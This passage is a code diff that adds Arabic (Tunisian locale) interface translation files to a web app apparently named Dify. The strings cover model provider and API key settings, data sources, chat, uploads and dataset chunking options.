+      desc: 'نموذج قوي يتفوق في مجموعة واسعة من المهام من الحوار المعقد وإنشاء المحتوى الإبداعي إلى التعليمات التفصيلية.',
+      callTimes: 'أوقات الاتصال',
+      usedUp: 'نفدت حصة التجربة. أضف مزود النموذج الخاص بك.',
+      useYourModel: 'تستخدم حاليًا مزود النموذج الخاص بك.',
+      close: 'إغلاق',
+      trialQuotaTip: 'ستنتهي حصة التجربة الخاصة بك في Anthropic في 2025/03/17 ولن تكون متاحة بعد ذلك. يرجى الاستفادة منها في الوقت المحدد.',
+    },
+    anthropic: {
+      using: 'قدرة التضمين تستخدم',
+      enableTip: 'لتمكين نموذج Anthropic، تحتاج إلى الارتباط بـ OpenAI أو خدمة Azure OpenAI أولاً.',
+      notEnabled: 'غير ممكن',
+      keyFrom: 'احصل على مفتاح API الخاص بك من Anthropic',
+    },
+    encrypted: {
+      front: 'سيتم تشفير مفتاح API الخاص بك وتخزينه باستخدام تقنية',
+      back: '.',
+    },
+  },
+  modelProvider: {
+    notConfigured: 'لم يتم تكوين نموذج النظام بالكامل بعد',
+    systemModelSettings: 'إعدادات نموذج النظام',
+    systemModelSettingsLink: 'لماذا من الضروري إعداد نموذج النظام؟',
+    selectModel: 'اختر نموذجك',
+    setupModelFirst: 'يرجى إعداد نموذجك أولاً',
+    systemReasoningModel: {
+      key: 'نموذج التفكير النظامي',
+      tip: 'تعيين نموذج الاستنتاج الافتراضي لاستخدامه لإنشاء التطبيقات، بالإضافة إلى ميزات مثل إنشاء اسم الحوار واقتراح السؤال التالي ستستخدم أيضًا نموذج الاستنتاج الافتراضي.',
+    },
+    embeddingModel: {
+      key: 'نموذج التضمين',
+      tip: 'تعيين النموذج الافتراضي لمعالجة تضمين المستندات للمعرفة، حيث يستخدم كل من استرجاع واستيراد المعرفة نموذج التضمين هذا لمعالجة التوجيه. سيؤدي التبديل إلى أن يكون البعد المتجه بين المعرفة المستوردة والسؤال غير متسق، مما يؤدي إلى فشل الاسترجاع. لتجنب فشل الاسترجاع، يرجى عدم تبديل هذا النموذج حسب الرغبة.',
+      required: 'نموذج التضمين مطلوب',
+    },
+    speechToTextModel: {
+      key: 'نموذج تحويل الكلام إلى نص',
+      tip: 'تعيين النموذج الافتراضي لإدخال تحويل الكلام إلى نص في المحادثة.',
+    },
+    ttsModel: {
+      key: 'نموذج تحويل النص إلى كلام',
+      tip: 'تعيين النموذج الافتراضي لإدخال تحويل النص إلى كلام في المحادثة.',
+    },
+    rerankModel: {
+      key: 'نموذج إعادة الترتيب',
+      tip: 'سيعيد نموذج إعادة الترتيب ترتيب قائمة المستندات المرشحة بناءً على المطابقة الدلالية مع استعلام المستخدم، مما يحسن نتائج الترتيب الدلالي',
+    },
+    apiKey: 'مفتاح API',
+    quota: 'حصة',
+    searchModel: 'نموذج البحث',
+    noModelFound: 'لم يتم العثور على نموذج لـ {{model}}',
+    models: 'النماذج',
+    showMoreModelProvider: 'عرض المزيد من مزودي النماذج',
+    selector: {
+      tip: 'تمت إزالة هذا النموذج. يرجى إضافة نموذج أو تحديد نموذج آخر.',
+      emptyTip: 'لا توجد نماذج متاحة',
+      emptySetting: 'يرجى الانتقال إلى الإعدادات للتكوين',
+      rerankTip: 'يرجى إعداد نموذج إعادة الترتيب',
+    },
+    card: {
+      quota: 'حصة',
+      onTrial: 'في التجربة',
+      paid: 'مدفوع',
+      quotaExhausted: 'نفدت الحصة',
+      callTimes: 'أوقات الاتصال',
+      tokens: 'رموز',
+      buyQuota: 'شراء حصة',
+      priorityUse: 'أولوية الاستخدام',
+      removeKey: 'إزالة مفتاح API',
+      tip: 'ستعطى الأولوية للحصة المدفوعة. سيتم استخدام الحصة التجريبية بعد نفاد الحصة المدفوعة.',
+    },
+    item: {
+      deleteDesc: 'يتم استخدام {{modelName}} كنماذج تفكير النظام. لن تكون بعض الوظائف متاحة بعد الإزالة. يرجى التأكيد.',
+      freeQuota: 'حصة مجانية',
+    },
+    addApiKey: 'أضف مفتاح API الخاص بك',
+    invalidApiKey: 'مفتاح API غير صالح',
+    encrypted: {
+      front: 'سيتم تشفير مفتاح API الخاص بك وتخزينه باستخدام تقنية',
+      back: '.',
+    },
+    freeQuota: {
+      howToEarn: 'كيف تكسب',
+    },
+    addMoreModelProvider: 'أضف المزيد من مزودي النماذج',
+    addModel: 'إضافة نموذج',
+    modelsNum: '{{num}} نماذج',
+    showModels: 'عرض النماذج',
+    showModelsNum: 'عرض {{num}} نماذج',
+    collapse: 'طي',
+    config: 'تكوين',
+    modelAndParameters: 'النموذج والمعلمات',
+    model: 'النموذج',
+    featureSupported: '{{feature}} مدعوم',
+    callTimes: 'أوقات الاتصال',
+    credits: 'أرصدة الرسائل',
+    buyQuota: 'شراء حصة',
+    getFreeTokens: 'احصل على رموز مجانية',
+    priorityUsing: 'أولوية الاستخدام',
+    deprecated: 'مهمل',
+    confirmDelete: 'تأكيد الحذف؟',
+    quotaTip: 'الرموز المجانية المتاحة المتبقية',
+    loadPresets: 'تحميل الإعدادات المسبقة',
+    parameters: 'المعلمات',
+    loadBalancing: 'موازنة التحميل',
+    loadBalancingDescription: 'تكوين بيانات اعتماد متعددة للنموذج واستدعاؤها تلقائيًا. ',
+    loadBalancingHeadline: 'موازنة التحميل',
+    configLoadBalancing: 'تكوين موازنة التحميل',
+    modelHasBeenDeprecated: 'تم إهمال هذا النموذج',
+    providerManaged: 'مدار من قبل المزود',
+    providerManagedDescription: 'استخدم مجموعة واحدة من بيانات الاعتماد المقدمة من مزود النموذج.',
+    defaultConfig: 'التكوين الافتراضي',
+    apiKeyStatusNormal: 'حالة مفتاح API طبيعية',
+    apiKeyRateLimit: 'تم الوصول إلى حد المعدل، متاح بعد {{seconds}} ثانية',
+    addConfig: 'إضافة تكوين',
+    editConfig: 'تعديل التكوين',
+    loadBalancingLeastKeyWarning: 'لتمكين موازنة التحميل، يجب تمكين مفتاحين على الأقل.',
+    loadBalancingInfo: 'بشكل افتراضي، تستخدم موازنة التحميل استراتيجية Round-robin. إذا تم تشغيل تحديد المعدل، فسيتم تطبيق فترة تباطؤ مدتها دقيقة واحدة.',
+    upgradeForLoadBalancing: 'قم بترقية خطتك لتمكين موازنة التحميل.',
+    toBeConfigured: 'ليتم تكوينه',
+    configureTip: 'قم بإعداد مفتاح api أو أضف نموذجًا للاستخدام',
+    installProvider: 'تثبيت مزودي النماذج',
+    installDataSourceProvider: 'تثبيت مزودي مصادر البيانات',
+    discoverMore: 'اكتشف المزيد في ',
+    emptyProviderTitle: 'لم يتم إعداد مزود النموذج',
+    emptyProviderTip: 'يرجى تثبيت مزود نموذج أولاً.',
+    auth: {
+      unAuthorized: 'غير مصرح به',
+      authRemoved: 'تمت إزالة المصادقة',
+      apiKeys: 'مفاتيح API',
+      addApiKey: 'إضافة مفتاح API',
+      addModel: 'إضافة نموذج',
+      addNewModel: 'إضافة نموذج جديد',
+      addCredential: 'إضافة بيانات اعتماد',
+      addModelCredential: 'إضافة بيانات اعتماد النموذج',
+      editModelCredential: 'تعديل بيانات اعتماد النموذج',
+      modelCredentials: 'بيانات اعتماد النموذج',
+      modelCredential: 'بيانات اعتماد النموذج',
+      configModel: 'تكوين النموذج',
+      configLoadBalancing: 'تكوين موازنة التحميل',
+      authorizationError: 'خطأ في التفويض',
+      specifyModelCredential: 'تحديد بيانات اعتماد النموذج',
+      specifyModelCredentialTip: 'استخدم بيانات اعتماد نموذج مكونة.',
+      providerManaged: 'مدار من قبل المزود',
+      providerManagedTip: 'يتم استضافة التكوين الحالي بواسطة المزود.',
+      apiKeyModal: {
+        title: 'تكوين تفويض مفتاح API',
+        desc: 'بعد تكوين بيانات الاعتماد، يمكن لجميع الأعضاء داخل مساحة العمل استخدام هذا النموذج عند تنظيم التطبيقات.',
+        addModel: 'إضافة نموذج',
+      },
+      manageCredentials: 'إدارة بيانات الاعتماد',
+      customModelCredentials: 'بيانات اعتماد النموذج المخصصة',
+      addNewModelCredential: 'إضافة بيانات اعتماد نموذج جديدة',
+      removeModel: 'إزالة النموذج',
+      selectModelCredential: 'تحديد بيانات اعتماد النموذج',
+      customModelCredentialsDeleteTip: 'بيانات الاعتماد قيد الاستخدام ولا يمكن حذفها',
+    },
+    parametersInvalidRemoved: 'بعض المعلمات غير صالحة وتمت إزالتها',
+  },
+  dataSource: {
+    add: 'إضافة مصدر بيانات',
+    connect: 'اتصال',
+    configure: 'تكوين',
+    notion: {
+      title: 'Notion',
+      description: 'استخدام Notion كمصدر بيانات للمعرفة.',
+      connectedWorkspace: 'مساحة العمل المتصلة',
+      addWorkspace: 'إضافة مساحة عمل',
+      connected: 'متصل',
+      disconnected: 'غير متصل',
+      changeAuthorizedPages: 'تغيير الصفحات المصرح بها',
+      integratedAlert: 'تم دمج Notion عبر بيانات الاعتماد الداخلية، ولا حاجة لإعادة التفويض.',
+      pagesAuthorized: 'الصفحات المصرح بها',
+      sync: 'مزامنة',
+      remove: 'إزالة',
+      selector: {
+        pageSelected: 'الصفحات المحددة',
+        searchPages: 'بحث في الصفحات...',
+        noSearchResult: 'لا توجد نتائج بحث',
+        addPages: 'إضافة صفحات',
+        preview: 'معاينة',
+      },
+    },
+    website: {
+      title: 'موقع الكتروني',
+      description: 'استيراد المحتوى من المواقع الإلكترونية باستخدام زحف الويب.',
+      with: 'مع',
+      configuredCrawlers: 'الزواحف المكونة',
+      active: 'نشط',
+      inactive: 'غير نشط',
+    },
+  },
+  plugin: {
+    serpapi: {
+      apiKey: 'مفتاح API',
+      apiKeyPlaceholder: 'أدخل مفتاح API الخاص بك',
+      keyFrom: 'احصل على مفتاح SerpAPI الخاص بك من صفحة حساب SerpAPI',
+    },
+  },
+  apiBasedExtension: {
+    title: 'توفر ملحقات API إدارة مركزية لواجهة برمجة التطبيقات، مما يبسط التكوين لسهولة الاستخدام عبر تطبيقات Dify.',
+    link: 'تعرف على كيفية تطوير ملحق API الخاص بك.',
+    add: 'إضافة ملحق API',
+    selector: {
+      title: 'ملحق API',
+      placeholder: 'يرجى تحديد ملحق API',
+      manage: 'إدارة ملحق API',
+    },
+    modal: {
+      title: 'إضافة ملحق API',
+      editTitle: 'تعديل ملحق API',
+      name: {
+        title: 'الاسم',
+        placeholder: 'يرجى إدخال الاسم',
+      },
+      apiEndpoint: {
+        title: 'نقطة نهاية API',
+        placeholder: 'يرجى إدخال نقطة نهاية API',
+      },
+      apiKey: {
+        title: 'مفتاح API',
+        placeholder: 'يرجى إدخال مفتاح API',
+        lengthError: 'لا يمكن أن يكون طول مفتاح API أقل من 5 أحرف',
+      },
+    },
+    type: 'النوع',
+  },
+  about: {
+    changeLog: 'سجل التغييرات',
+    updateNow: 'تحديث الآن',
+    nowAvailable: 'Dify {{version}} متاح الآن.',
+    latestAvailable: 'Dify {{version}} هو أحدث إصدار متاح.',
+  },
+  appMenus: {
+    overview: 'المراقبة',
+    promptEng: 'تنسيق',
+    apiAccess: 'وصول API',
+    logAndAnn: 'السجلات والتعليقات التوضيحية',
+    logs: 'السجلات',
+  },
+  environment: {
+    testing: 'اختبار',
+    development: 'تطوير',
+  },
+  appModes: {
+    completionApp: 'مولد النص',
+    chatApp: 'تطبيق الدردشة',
+  },
+  datasetMenus: {
+    documents: 'المستندات',
+    hitTesting: 'اختبار الاسترجاع',
+    settings: 'الإعدادات',
+    emptyTip: 'لم يتم دمج هذه المعرفة في أي تطبيق. يرجى الرجوع إلى المستند للحصول على إرشادات.',
+    viewDoc: 'عرض المستندات',
+    relatedApp: 'التطبيقات المرتبطة',
+    noRelatedApp: 'لا توجد تطبيقات مرتبطة',
+    pipeline: 'خط الأنابيب',
+  },
+  voiceInput: {
+    speaking: 'تحدث الآن...',
+    converting: 'التحويل إلى نص...',
+    notAllow: 'الميكروفون غير مصرح به',
+  },
+  modelName: {
+    'gpt-3.5-turbo': 'GPT-3.5-Turbo',
+    'gpt-3.5-turbo-16k': 'GPT-3.5-Turbo-16K',
+    'gpt-4': 'GPT-4',
+    'gpt-4-32k': 'GPT-4-32K',
+    'text-davinci-003': 'Text-Davinci-003',
+    'text-embedding-ada-002': 'Text-Embedding-Ada-002',
+    'whisper-1': 'Whisper-1',
+    'claude-instant-1': 'Claude-Instant',
+    'claude-2': 'Claude-2',
+  },
+  chat: {
+    renameConversation: 'إعادة تسمية المحادثة',
+    conversationName: 'اسم المحادثة',
+    conversationNamePlaceholder: 'يرجى إدخال اسم المحادثة',
+    conversationNameCanNotEmpty: 'اسم المحادثة مطلوب',
+    citation: {
+      title: 'الاستشهادات',
+      linkToDataset: 'رابط المعرفة',
+      characters: 'الشخصيات:',
+      hitCount: 'عدد الاسترجاع:',
+      vectorHash: 'تجزئة المتجه:',
+      hitScore: 'درجة الاسترجاع:',
+    },
+    inputPlaceholder: 'تحدث إلى {{botName}}',
+    thinking: 'يفكر...',
+    thought: 'فكر',
+    resend: 'إعادة إرسال',
+  },
+  promptEditor: {
+    placeholder: 'اكتب كلمة المطالبة هنا، أدخل \'{\' لإدراج متغير، أدخل \'/\' لإدراج كتلة محتوى مطالبة',
+    context: {
+      item: {
+        title: 'السياق',
+        desc: 'إدراج قالب السياق',
+      },
+      modal: {
+        title: '{{num}} معرفة في السياق',
+        add: 'إضافة سياق ',
+        footer: 'يمكنك إدارة السياقات في قسم السياق أدناه.',
+      },
+    },
+    history: {
+      item: {
+        title: 'سجل المحادثة',
+        desc: 'إدراج قالب الرسالة التاريخية',
+      },
+      modal: {
+        title: 'مثال',
+        user: 'مرحبًا',
+        assistant: 'مرحبًا! كيف يمكنني مساعدتك اليوم؟',
+        edit: 'تعديل أسماء أدوار المحادثة',
+      },
+    },
+    variable: {
+      item: {
+        title: 'المتغيرات والأدوات الخارجية',
+        desc: 'إدراج المتغيرات والأدوات الخارجية',
+      },
+      outputToolDisabledItem: {
+        title: 'المتغيرات',
+        desc: 'إدراج المتغيرات',
+      },
+      modal: {
+        add: 'متغير جديد',
+        addTool: 'أداة جديدة',
+      },
+    },
+    query: {
+      item: {
+        title: 'استعلام',
+        desc: 'إدراج قالب استعلام المستخدم',
+      },
+    },
+    existed: 'موجود بالفعل في المطالبة',
+  },
+  imageUploader: {
+    uploadFromComputer: 'تحميل من الكمبيوتر',
+    uploadFromComputerReadError: 'فشل قراءة الصورة، يرجى المحاولة مرة أخرى.',
+    uploadFromComputerUploadError: 'فشل تحميل الصورة، يرجى التحميل مرة أخرى.',
+    uploadFromComputerLimit: 'لا يمكن أن تتجاوز صور التحميل {{size}} ميجابايت',
+    pasteImageLink: 'لصق رابط الصورة',
+    pasteImageLinkInputPlaceholder: 'لصق رابط الصورة هنا',
+    pasteImageLinkInvalid: 'رابط الصورة غير صالح',
+    imageUpload: 'تحميل الصورة',
+  },
+  fileUploader: {
+    uploadFromComputer: 'تحميل محلي',
+    pasteFileLink: 'لصق رابط الملف',
+    pasteFileLinkInputPlaceholder: 'أدخل URL...',
+    uploadFromComputerReadError: 'فشل قراءة الملف، يرجى المحاولة مرة أخرى.',
+    uploadFromComputerUploadError: 'فشل تحميل الملف، يرجى التحميل مرة أخرى.',
+    uploadFromComputerLimit: 'تحميل {{type}} لا يمكن أن يتجاوز {{size}}',
+    pasteFileLinkInvalid: 'رابط الملف غير صالح',
+    fileExtensionNotSupport: 'امتداد الملف غير مدعوم',
+    fileExtensionBlocked: 'تم حظر نوع الملف هذا لأسباب أمنية',
+    uploadDisabled: 'تم تعطيل رفع الملفات',
+  },
+  tag: {
+    placeholder: 'جميع العلامات',
+    addNew: 'إضافة علامة جديدة',
+    noTag: 'لا توجد علامات',
+    noTagYet: 'لا توجد علامات بعد',
+    addTag: 'إضافة علامات',
+    editTag: 'تعديل العلامات',
+    manageTags: 'إدارة العلامات',
+    selectorPlaceholder: 'اكتب للبحث أو الإنشاء',
+    create: 'إنشاء',
+    delete: 'حذف العلامة',
+    deleteTip: 'العلامة قيد الاستخدام، هل تريد حذفها؟',
+    created: 'تم إنشاء العلامة بنجاح',
+    failed: 'فشل إنشاء العلامة',
+  },
+  license: {
+    expiring: 'تنتهي في يوم واحد',
+    expiring_plural: 'تنتهي في {{count}} أيام',
+    unlimited: 'غير محدود',
+  },
+  pagination: {
+    perPage: 'عناصر لكل صفحة',
+  },
+  avatar: {
+    deleteTitle: 'إزالة الصورة الرمزية',
+    deleteDescription: 'هل أنت متأكد أنك تريد إزالة صورة ملفك الشخصي؟ سيستخدم حسابك الصورة الرمزية الأولية الافتراضية.',
+  },
+  imageInput: {
+    dropImageHere: 'أسقط صورتك هنا، أو',
+    browse: 'تصفح',
+    supportedFormats: 'يدعم PNG و JPG و JPEG و WEBP و GIF',
+  },
+  you: 'أنت',
+  dynamicSelect: {
+    error: 'فشل تحميل الخيارات',
+    noData: 'لا توجد خيارات متاحة',
+    loading: 'تحميل الخيارات...',
+    selected: '{{count}} محدد',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/custom.ts b/web/i18n/ar-TN/custom.ts
new file mode 100644
index 0000000000..64eaa91281
--- /dev/null
+++ b/web/i18n/ar-TN/custom.ts
@@ -0,0 +1,32 @@
+const translation = {
+  custom: 'تخصيص',
+  upgradeTip: {
+    title: 'تحديث خطتك',
+    des: 'قم بترقية خطتك لتخصيص علامتك التجارية',
+    prefix: 'قم بترقية خطتك لـ',
+    suffix: 'تخصيص علامتك التجارية.',
+  },
+  webapp: {
+    title: 'تخصيص العلامة التجارية لتطبيق الويب',
+    removeBrand: 'إزالة Powered by Dify',
+    changeLogo: 'تغيير صورة Powered by Brand',
+    changeLogoTip: 'تنسيق SVG أو PNG بحجم أدنى 40x40px',
+  },
+  app: {
+    title: 'تخصيص العلامة التجارية لرأس التطبيق',
+    changeLogoTip: 'تنسيق SVG أو PNG بحجم أدنى 80x80px',
+  },
+  upload: 'تحميل',
+  uploading: 'جاري التحميل',
+  uploadedFail: 'فشل تحميل الصورة، يرجى إعادة التحميل.',
+  change: 'تغيير',
+  apply: 'تطبيق',
+  restore: 'استعادة الافتراضيات',
+  customize: {
+    contactUs: ' اتصل بنا ',
+    prefix: 'لتخصيص شعار العلامة التجارية داخل التطبيق، يرجى',
+    suffix: 'للترقية إلى إصدار Enterprise.',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/dataset-creation.ts b/web/i18n/ar-TN/dataset-creation.ts
new file mode 100644
index 0000000000..75b9a8e4e9
--- /dev/null
+++ b/web/i18n/ar-TN/dataset-creation.ts
@@ -0,0 +1,217 @@
+const translation = {
+  steps: {
+    header: {
+      fallbackRoute: 'المعرفة',
+    },
+    one: 'مصدر البيانات',
+    two: 'معالجة المستندات',
+    three: 'التنفيذ والانتهاء',
+  },
+  error: {
+    unavailable: 'هذه المعرفة غير متاحة',
+  },
+  firecrawl: {
+    configFirecrawl: 'تكوين 🔥Firecrawl',
+    apiKeyPlaceholder: 'مفتاح API من firecrawl.dev',
+    getApiKeyLinkText: 'احصل على مفتاح API الخاص بك من firecrawl.dev',
+  },
+  watercrawl: {
+    configWatercrawl: 'تكوين Watercrawl',
+    apiKeyPlaceholder: 'مفتاح API من watercrawl.dev',
+    getApiKeyLinkText: 'احصل على مفتاح API الخاص بك من watercrawl.dev',
+  },
+  jinaReader: {
+    configJinaReader: 'تكوين Jina Reader',
+    apiKeyPlaceholder: 'مفتاح API من jina.ai',
+    getApiKeyLinkText: 'احصل على مفتاح API المجاني الخاص بك في jina.ai',
+  },
+  stepOne: {
+    filePreview: 'معاينة الملف',
+    pagePreview: 'معاينة الصفحة',
+    dataSourceType: {
+      file: 'استيراد من ملف',
+      notion: 'مزامنة من Notion',
+      web: 'مزامنة من موقع ويب',
+    },
+    uploader: {
+      title: 'تحميل ملف',
+      button: 'اسحب وأفلت الملف أو المجلد، أو',
+      buttonSingleFile: 'اسحب وأفلت الملف، أو',
+      browse: 'تصفح',
+      tip: 'يدعم {{supportTypes}}. بحد أقصى {{batchCount}} في الدفعة الواحدة و {{size}} ميجابايت لكل منها. الحد الأقصى الإجمالي {{totalCount}} ملفات.',
+      validation: {
+        typeError: 'نوع الملف غير مدعوم',
+        size: 'الملف كبير جدًا. الحد الأقصى هو {{size}} ميجابايت',
+        count: 'ملفات متعددة غير مدعومة',
+        filesNumber: 'لقد وصلت إلى حد تحميل الدفعة البالغ {{filesNumber}}.',
+      },
+      cancel: 'إلغاء',
+      change: 'تغيير',
+      failed: 'فشل التحميل',
+    },
+    notionSyncTitle: 'Notion غير متصل',
+    notionSyncTip: 'للمزامنة مع Notion، يجب إنشاء اتصال بـ Notion أولاً.',
+    connect: 'الذهاب للاتصال',
+    cancel: 'إلغاء',
+    button: 'التالي',
+    emptyDatasetCreation: 'أريد إنشاء معرفة فارغة',
+    modal: {
+      title: 'إنشاء معرفة فارغة',
+      tip: 'لن تحتوي المعرفة الفارغة على أي مستندات، ويمكنك تحميل المستندات في أي وقت.',
+      input: 'اسم المعرفة',
+      placeholder: 'يرجى الإدخال',
+      nameNotEmpty: 'لا يمكن أن يكون الاسم فارغًا',
+      nameLengthInvalid: 'يجب أن يكون الاسم بين 1 إلى 40 حرفًا',
+      cancelButton: 'إلغاء',
+      confirmButton: 'إنشاء',
+      failed: 'فشل الإنشاء',
+    },
+    website: {
+      chooseProvider: 'اختر مزودًا',
+      fireCrawlNotConfigured: 'Firecrawl غير مكون',
+      fireCrawlNotConfiguredDescription: 'قم بتكوين Firecrawl باستخدام مفتاح API لاستخدامه.',
+      jinaReaderNotConfigured: 'Jina Reader غير مكون',
+      jinaReaderNotConfiguredDescription: 'قم بإعداد Jina Reader عن طريق إدخال مفتاح API المجاني للوصول.',
+      waterCrawlNotConfigured: 'Watercrawl غير مكون',
+      waterCrawlNotConfiguredDescription: 'قم بتكوين Watercrawl باستخدام مفتاح API لاستخدامه.',
+      configure: 'تكوين',
+      configureFirecrawl: 'تكوين Firecrawl',
+      configureWatercrawl: 'تكوين Watercrawl',
+      configureJinaReader: 'تكوين Jina Reader',
+      run: 'تشغيل',
+      running: 'جارٍ التشغيل',
+      firecrawlTitle: 'استخراج محتوى الويب باستخدام 🔥Firecrawl',
+      firecrawlDoc: 'مستندات Firecrawl',
+      watercrawlTitle: 'استخراج محتوى الويب باستخدام Watercrawl',
+      watercrawlDoc: 'مستندات Watercrawl',
+      jinaReaderTitle: 'تحويل الموقع بالكامل إلى Markdown',
+      jinaReaderDoc: 'تعرف على المزيد حول Jina Reader',
+      jinaReaderDocLink: 'https://jina.ai/reader',
+      useSitemap: 'استخدام خريطة الموقع',
+      useSitemapTooltip: 'اتبع خريطة الموقع للزحف إلى الموقع. إذا لم يكن كذلك، سيقوم Jina Reader بالزحف بشكل متكرر بناءً على صلة الصفحة، مما يؤدي إلى صفحات أقل ولكن بجودة أعلى.',
+      options: 'خيارات',
+      crawlSubPage: 'الزحف إلى الصفحات الفرعية',
+      limit: 'الحد',
+      maxDepth: 'أقصى عمق',
+      excludePaths: 'استبعاد المسارات',
+      includeOnlyPaths: 'تضمين المسارات فقط',
+      extractOnlyMainContent: 'استخراج المحتوى الرئيسي فقط (بدون رؤوس، قوائم تنقل، تذييلات، إلخ.)',
+      exceptionErrorTitle: 'حدث استثناء أثناء تشغيل مهمة الزحف:',
+      unknownError: 'خطأ غير معروف',
+      totalPageScraped: 'إجمالي الصفحات التي تم كشطها:',
+      selectAll: 'تحديد الكل',
+      resetAll: 'إعادة تعيين الكل',
+      scrapTimeInfo: 'تم كشط {{total}} صفحة في المجموع خلال {{time}} ثانية',
+      preview: 'معاينة',
+      maxDepthTooltip: 'أقصى عمق للزحف بالنسبة لعنوان URL المدخل. العمق 0 يكشط فقط صفحة عنوان URL المدخل، العمق 1 يكشط عنوان URL وكل شيء بعد عنوان URL المدخل + / واحد، وهكذا.',
+    },
+  },
+  stepTwo: {
+    segmentation: 'إعدادات القطعة',
+    auto: 'تلقائي',
+    autoDescription: 'تحديد القواعد والتقطيع والمعالجة المسبقة تلقائيًا. يوصى به للمستخدمين غير المألوفين.',
+    custom: 'مخصص',
+    customDescription: 'تخصيص قواعد القطع وطول القطع وقواعد المعالجة المسبقة، إلخ.',
+    general: 'عام',
+    generalTip: 'وضع تقطيع النص العام، القطع المسترجعة والمستردة هي نفسها.',
+    parentChild: 'الأصل والطفل',
+    parentChildTip: 'عند استخدام وضع الأصل والطفل، يتم استخدام القطعة الفرعية للاسترجاع ويتم استخدام القطعة الأصلية للاستدعاء كسياق.',
+    parentChunkForContext: 'القطعة الأصلية للسياق',
+    childChunkForRetrieval: 'القطعة الفرعية للاسترجاع',
+    paragraph: 'فقرة',
+    paragraphTip: 'يقسم هذا الوضع النص إلى فقرات بناءً على المحددات وأقصى طول للقطعة، باستخدام النص المقسم كقطعة أصلية للاسترجاع.',
+    fullDoc: 'مستند كامل',
+    fullDocTip: 'يتم استخدام المستند بأكمله كقطعة أصلية ويتم استرجاعه مباشرة. يرجى ملاحظة أنه لأسباب تتعلق بالأداء، سيتم اقتطاع النص الذي يتجاوز 10000 رمز تلقائيًا.',
+    qaTip: 'عند استخدام بيانات الأسئلة والأجوبة المهيكلة، يمكنك إنشاء مستندات تقرن الأسئلة بالأجوبة. يتم فهرسة هذه المستندات بناءً على جزء السؤال، مما يسمح للنظام باسترجاع الإجابات ذات الصلة بناءً على تشابه الاستعلام.',
+    separator: 'محدد',
+    separatorTip: 'المحدد هو الحرف المستخدم لفصل النص. \\n\\n و \\n هي محددات شائعة الاستخدام لفصل الفقرات والأسطر. جنبًا إلى جنب مع الفواصل (\\n\\n,\\n)، سيتم تقسيم الفقرات حسب الأسطر عند تجاوز الحد الأقصى لطول القطعة. يمكنك أيضًا استخدام محددات خاصة محددة بنفسك (مثل ***).',
+    separatorPlaceholder: '\\n\\n للفقرات؛ \\n للأسطر',
+    maxLength: 'أقصى طول للقطعة',
+    maxLengthCheck: 'يجب أن يكون أقصى طول للقطعة أقل من {{limit}}',
+    overlap: 'تداخل القطعة',
+    overlapTip: 'يمكن أن يؤدي تعيين تداخل القطعة إلى الحفاظ على الصلة الدلالية بينها، مما يعزز تأثير الاسترجاع. يوصى بتعيين 10٪ -25٪ من الحد الأقصى لحجم القطعة.',
+    overlapCheck: 'يجب ألا يكون تداخل القطعة أكبر من أقصى طول للقطعة',
+    rules: 'قواعد المعالجة المسبقة للنص',
+    removeExtraSpaces: 'استبدال المسافات المتتالية والأسطر الجديدة وعلامات الجدولة',
+    removeUrlEmails: 'حذف جميع عناوين URL وعناوين البريد الإلكتروني',
+    removeStopwords: 'إزالة كلمات التوقف مثل "a", "an", "the"',
+    preview: 'معاينة',
+    previewChunk: 'معاينة القطعة',
+    reset: 'إعادة تعيين',
+    indexMode: 'طريقة الفهرسة',
+    qualified: 'عالية الجودة',
+    highQualityTip: 'بمجرد الانتهاء من التضمين في وضع الجودة العالية، لا يتوفر الرجوع إلى الوضع الاقتصادي.',
+    recommend: 'نوصي',
+    qualifiedTip: 'يساعد استدعاء نموذج التضمين لمعالجة المستندات من أجل استرجاع أكثر دقة LLM على إنشاء إجابات عالية الجودة.',
+    warning: 'يرجى إعداد مفتاح API لمزود النموذج أولاً.',
+    click: 'الذهاب إلى الإعدادات',
+    economical: 'اقتصادي',
+    economicalTip: 'استخدام 10 كلمات رئيسية لكل قطعة للاسترجاع، لا يتم استهلاك أي رموز على حساب تقليل دقة الاسترجاع.',
+    QATitle: 'التقسيم بتنسيق سؤال وجواب',
+    QATip: 'سيؤدي تمكين هذا الخيار إلى استهلاك المزيد من الرموز',
+    QALanguage: 'التقسيم باستخدام',
+    useQALanguage: 'تقطيع بتنسيق سؤال وجواب في',
+    estimateCost: 'تقدير',
+    estimateSegment: 'القطع المقدرة',
+    segmentCount: 'قطع',
+    calculating: 'جارٍ الحساب...',
+    fileSource: 'معالجة المستندات مسبقًا',
+    notionSource: 'معالجة الصفحات مسبقًا',
+    websiteSource: 'معالجة الموقع مسبقًا',
+    other: 'وغيرها ',
+    fileUnit: ' ملفات',
+    notionUnit: ' صفحات',
+    webpageUnit: ' صفحات',
+    previousStep: 'الخطوة السابقة',
+    nextStep: 'حفظ ومعالجة',
+    save: 'حفظ ومعالجة',
+    cancel: 'إلغاء',
+    sideTipTitle: 'لماذا التقطيع والمعالجة المسبقة؟',
+    sideTipP1: 'عند معالجة البيانات النصية، يعد التقطيع والتنظيف خطوتين مهمتين للمعالجة المسبقة.',
+    sideTipP2: 'يقسم التقسيم النص الطويل إلى فقرات حتى تتمكن النماذج من فهمه بشكل أفضل. هذا يحسن جودة وصلة نتائج النموذج.',
+    sideTipP3: 'يزيل التنظيف الأحرف والتنسيقات غير الضرورية، مما يجعل المعرفة أنظف وأسهل في التحليل.',
+    sideTipP4: 'يؤدي التقطيع والتنظيف السليمتان إلى تحسين أداء النموذج، مما يوفر نتائج أكثر دقة وقيمة.',
+    previewTitle: 'معاينة',
+    previewTitleButton: 'معاينة',
+    previewButton: 'التبديل إلى تنسيق سؤال وجواب',
+    previewSwitchTipStart: 'معاينة القطعة الحالية بتنسيق نصي، وسيؤدي التبديل إلى معاينة تنسيق سؤال وجواب إلى',
+    previewSwitchTipEnd: ' استهلاك رموز إضافية',
+    characters: 'أحرف',
+    indexSettingTip: 'لتغيير طريقة الفهرسة ونموذج التضمين، يرجى الانتقال إلى ',
+    retrievalSettingTip: 'لتغيير إعداد الاسترجاع، يرجى الانتقال إلى ',
+    datasetSettingLink: 'إعدادات المعرفة.',
+    previewChunkTip: 'انقر فوق زر "معاينة القطعة" على اليسار لتحميل المعاينة',
+    previewChunkCount: '{{count}} قطعة مقدرة',
+    switch: 'تبديل',
+    qaSwitchHighQualityTipTitle: 'يتطلب تنسيق سؤال وجواب طريقة فهرسة عالية الجودة',
